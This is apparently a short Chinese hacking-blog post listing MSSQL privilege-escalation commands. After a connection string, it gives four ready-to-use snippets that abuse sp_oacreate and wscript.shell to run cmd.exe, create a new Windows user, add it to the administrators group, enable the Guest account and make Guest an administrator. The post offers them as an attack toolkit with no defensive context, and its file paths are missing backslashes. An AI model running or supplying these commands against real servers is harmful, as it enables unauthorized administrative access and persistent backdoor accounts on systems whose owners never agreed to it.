SQL提权常用命令

作者:hack1990 时间:10-11-24 阅读数:620人阅读

1、连接数据库

driver={SQL Server};server=服务器IP;uid=用户名;pwd=密码;database=数据库名

2、添加新用户

declare @shell int exec sp_oacreate wscript.shell,@shell output exec sp_oamethod @shell,run,null,c:windowssystem32cmd.exe /c net user 新用户 密码 /add

3、把用户加到管理组

declare @shell int exec sp_oacreate wscript.shell,@shell output exec sp_oamethod @shell,run,null,c:windowssystem32cmd.exe /c net localgroup administrators 新用户 /add

4、激活GUEST用户

declare @shell int exec sp_oacreate wscript.shell,@shell output exec sp_oamethod @shell,run,null,c:windowssystem32cmd.exe /c net user guest /active:yes

5、把Guest加到管理组

declare @shell int exec sp_oacreate wscript.shell,@shell output exec sp_oamethod @shell,run,null,c:windowssystem32cmd.exe /c net localgroup Administrators Guest /add

 

上一篇:数据流0day

下一篇:mssql注入躲避IDS

发表评论